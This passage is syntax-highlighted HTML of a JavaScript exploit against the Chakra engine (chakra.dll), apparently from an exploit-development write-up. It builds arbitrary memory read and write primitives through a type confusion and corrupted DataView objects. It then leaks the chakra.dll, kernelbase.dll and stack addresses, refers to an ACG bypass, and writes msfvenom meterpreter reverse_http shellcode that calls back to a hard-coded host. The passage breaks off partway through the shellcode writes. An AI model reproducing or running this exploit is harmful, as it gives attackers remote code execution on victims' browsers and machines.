<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="mh">0x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Print update with our type pointer</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] type pointer: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x430</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

    <span class="c1">// Arbitrary read to get the threadContext pointer (offset 0x3b8)</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x5c0</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0</span>
    <span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360</span>
    <span class="c1">// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)</span>
    <span class="nx">stackleakPointer</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x8f8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack address! type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;leafInterpreterFrame: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Counter</span>
    <span class="kd">let</span> <span class="nx">countMe</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Helper function for counting</span>
    <span class="kd">function</span> <span class="nx">inc</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nx">countMe</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Shellcode (will be executed in JIT process)</span>
    <span class="c1">// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe48348fc</span><span class="p">,</span> <span class="mh">0x00cce8f0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x51410000</span><span class="p">,</span> <span class="mh">0x51525041</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56d23148</span><span class="p">,</span> <span class="mh">0x528b4865</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4860</span><span class="p">,</span> <span class="mh">0x528b4818</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc9314d20</span><span class="p">,</span> <span class="mh">0x50728b48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4ab70f48</span><span class="p">,</span> <span class="mh">0xc031484a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x7c613cac</span><span class="p">,</span> <span class="mh">0x41202c02</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x410dc9c1</span><span class="p">,</span> <span class="mh">0xede2c101</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4852</span><span class="p">,</span> <span class="mh">0x8b514120</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01483c42</span><span class="p">,</span> <span class="mh">0x788166d0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0f020b18</span><span class="p">,</span> <span class="mh">0x00007285</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x88808b00</span><span class="p">,</span> <span class="mh">0x48000000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x6774c085</span><span class="p">,</span> <span class="mh">0x44d00148</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5020408b</span><span class="p">,</span> <span class="mh">0x4918488b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56e3d001</span><span class="p">,</span> <span class="mh">0x41c9ff48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4d88348b</span><span class="p">,</span> <span class="mh">0x0148c931</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc03148d6</span><span class="p">,</span> <span class="mh">0x0dc9c141</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc10141ac</span><span class="p">,</span> <span class="mh">0xf175e038</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x244c034c</span><span class="p">,</span> <span class="mh">0xd1394508</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4458d875</span><span class="p">,</span> <span class="mh">0x4924408b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4166d001</span><span class="p">,</span> <span class="mh">0x44480c8b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x491c408b</span><span class="p">,</span> <span class="mh">0x8b41d001</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01488804</span><span class="p">,</span> <span class="mh">0x415841d0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5a595e58</span><span class="p">,</span> <span class="mh">0x59415841</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x83485a41</span><span class="p">,</span> <span class="mh">0x524120ec</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4158e0ff</span><span class="p">,</span> <span class="mh">0x8b485a59</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff4be912</span><span class="p">,</span> <span class="mh">0x485dffff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4953db31</span><span class="p">,</span> <span class="mh">0x6e6977be</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x74656e69</span><span class="p">,</span> <span class="mh">0x48564100</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc749e189</span><span class="p">,</span> <span class="mh">0x26774cc2</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53d5ff07</span><span class="p">,</span> <span class="mh">0xe1894853</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x314d5a53</span><span class="p">,</span> <span class="mh">0xc9314dc0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba495353</span><span class="p">,</span> <span class="mh">0xa779563a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0ee8d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x31000000</span><span class="p">,</span> <span class="mh">0x312e3237</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x35352e36</span><span class="p">,</span> <span class="mh">0x3539312e</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
